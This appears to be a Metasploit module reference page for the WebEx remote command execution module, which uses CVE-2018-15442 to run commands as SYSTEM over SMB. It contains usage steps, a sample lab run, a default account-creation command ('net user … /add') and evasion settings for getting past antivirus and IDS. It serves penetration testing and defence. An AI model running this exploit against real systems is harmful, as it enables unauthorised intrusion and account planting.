WebEx Remote Command Execution Utility - Metasploit
This page contains detailed information about how to use the auxiliary/admin/smb/webexec_command metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: WebEx Remote Command Execution Utility
Module: auxiliary/admin/smb/webexec_command
Source code: modules/auxiliary/admin/smb/webexec_command.rb
Disclosure date: -
Last modification time: 2018-10-24 16:18:17 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2018-15442
This module enables the execution of a single command as System by exploiting a remote code execution vulnerability in Cisco's WebEx client software.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/admin/smb/webexec_command
msf auxiliary(webexec_command) > show options
... show and set options ...
msf auxiliary(webexec_command) > set RHOSTS ip-range
msf auxiliary(webexec_command) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(webexec_command) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(webexec_command) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(webexec_command) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits a remote code execution vulnerability in Cisco's WebEx client software versions < v33.6.0.655 By supplying valid login credentials to the target machine, a single command can be executed with System privileges.
Vulnerable Application
Cisco WebEx Client v33.3.8.7 and below
Verification Steps
- Install the application
- Start msfconsole
- Do:
use auxiliary/admin/smb/webexec_command - Do:
set RHOSTS <IP> - Do:
set SMBUser <USERNAME> - Do:
set SMBPass <PASSWORD> - Do:
run - You should get output that verifies the execution of the command
Options
FORCE_GUI
Uses WMIC to create a GUI
Scenarios
Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86
msf5 > use auxiliary/admin/smb/webexec_command
msf5 auxiliary(admin/smb/webexec_command) > set rhosts 192.168.37.136
rhosts => 192.168.37.136
msf5 auxiliary(admin/smb/webexec_command) > set smbuser a_user
smbuser => a_user
msf5 auxiliary(admin/smb/webexec_command) > set smbpass password
smbpass => password
msf5 auxiliary(admin/smb/webexec_command) > run
[+] 192.168.37.136:445 - Command completed!
[*] 192.168.37.136:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(admin/smb/webexec_command) >
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Msfconsole Usage
Here is how the admin/smb/webexec_command auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/smb/webexec_command
msf6 auxiliary(admin/smb/webexec_command) > show info
Name: WebEx Remote Command Execution Utility
Module: auxiliary/admin/smb/webexec_command
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Ron Bowes <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND net user testuser testpass /add yes The command you want to execute on the remote host
FORCE_GUI false yes Ensure a GUI is created via wmic
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The Target port (TCP)
SERVICE_NAME WebExService no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
This module enables the execution of a single command as System by
exploiting a remote code execution vulnerability in Cisco's WebEx
client software.
References:
https://webexec.org
https://nvd.nist.gov/vuln/detail/CVE-2018-15442
Module Options
This is a complete list of options available in the admin/smb/webexec_command auxiliary module:
msf6 auxiliary(admin/smb/webexec_command) > show options
Module options (auxiliary/admin/smb/webexec_command):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND net user testuser testpass /add yes The command you want to execute on the remote host
FORCE_GUI false yes Ensure a GUI is created via wmic
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The Target port (TCP)
SERVICE_NAME WebExService no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the admin/smb/webexec_command auxiliary module:
msf6 auxiliary(admin/smb/webexec_command) > show advanced
Module advanced options (auxiliary/admin/smb/webexec_command):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
DCERPC::ReadTimeout 10 yes The number of seconds to wait for DCERPC responses
NTLM::SendLM true yes Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM true yes Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN true yes Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
NTLM::UseLMKey false yes Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session true yes Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 true yes Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SMB::AlwaysEncrypt true yes Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
SMB::ChunkSize 500 yes The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM Windows 2000 5.0 yes The Native LM to send during authentication
SMB::Native_OS Windows 2000 2195 yes The Native OS to send during authentication
SMB::ProtocolVersion 1,2,3 yes One or a list of coma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or "2,3,1")
SMB::VerifySignature false yes Enforces client-side verification of server response signatures
SMBDirect true no The target port is a raw SMB service (not NetBIOS)
SMBName *SMBSERVER yes The NetBIOS hostname (required for port 139 connections)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/smb/webexec_command module can do:
msf6 auxiliary(admin/smb/webexec_command) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/smb/webexec_command auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/smb/webexec_command) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
DCERPC::fake_bind_multi true no Use multi-context bind calls
DCERPC::fake_bind_multi_append 0 no Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend 0 no Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size 4096 yes Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio rw no Use a different delivery method for accessing named pipes (Accepted: rw, trans)
SMB::obscure_trans_pipe_level 0 yes Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level 0 yes Place extra padding between headers and data (level 0-3)
SMB::pad_file_level 0 yes Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion false yes Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size 1024 yes Maximum buffer size for pipe reads
SMB::pipe_read_min_size 1 yes Minimum buffer size for pipe reads
SMB::pipe_write_max_size 1024 yes Maximum buffer size for pipe writes
SMB::pipe_write_min_size 1 yes Minimum buffer size for pipe writes
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to authenticate with given credentials: <AUTHERROR>
Here is a relevant code snippet related to the "Unable to authenticate with given credentials: <AUTHERROR>" error message:
47: # Try and authenticate with given credentials
48: if connect
49: begin
50: smb_login
51: rescue Rex::Proto::SMB::Exceptions::Error => autherror
52: print_error("Unable to authenticate with given credentials: #{autherror}")
53: return
54: end
55:
56: command = datastore['COMMAND']
57: if datastore['FORCE_GUI']
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Related Pull Requests
References
See Also
Check also the following modules related to this module:
- exploit/windows/local/webexec
- exploit/windows/smb/webexec
- auxiliary/admin/smb/check_dir_file
- auxiliary/admin/smb/delete_file
- auxiliary/admin/smb/download_file
- auxiliary/admin/smb/list_directory
- auxiliary/admin/smb/ms17_010_command
- auxiliary/admin/smb/psexec_ntdsgrab
- auxiliary/admin/smb/samba_symlink_traversal
- auxiliary/admin/smb/upload_file
- auxiliary/admin/scada/modicon_command
- auxiliary/admin/scada/multi_cip_command
- auxiliary/admin/scada/pcom_command
- auxiliary/admin/scada/phoenix_command
- auxiliary/scanner/http/jenkins_command
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
- auxiliary/scanner/ssh/apache_karaf_command_execution
- auxiliary/server/regsvr32_command_delivery_server
Related Nessus plugins:
Authors
- Ron Bowes <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
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